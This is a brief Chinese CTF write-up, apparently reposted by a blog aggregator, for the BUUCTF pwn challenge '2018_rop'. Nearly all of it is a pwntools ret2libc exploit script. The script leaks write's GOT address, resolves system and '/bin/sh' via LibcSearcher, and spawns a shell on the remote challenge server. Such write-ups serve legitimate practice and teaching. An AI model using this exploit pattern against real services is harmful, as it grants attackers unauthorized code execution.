最基本的 rop;

from pwn import* from LibcSearcher import* r=remote('node3.buuoj.cn',25292) elf=ELF('./2') write_got=elf.got['write'] write_plt=elf.plt['write'] main=0x80484c6 payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) r.sendline(payload) write_addr=u32(r.recv(4)) libc=LibcSearcher('write',write_addr) offset=write_addr-libc.dump('write') sys=offset+libc.dump('system') bin=offset+libc.dump('str_bin_sh') payload='a'*(0x88+4)+p32(sys)+p32(0)+p32(bin) r.sendline(payload) r.interactive()

對EXP有疑問的歡迎留言

總結

以上是生活随笔為你收集整理的BUUCTF(pwn)铁人三项(第五赛区)_2018_rop的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。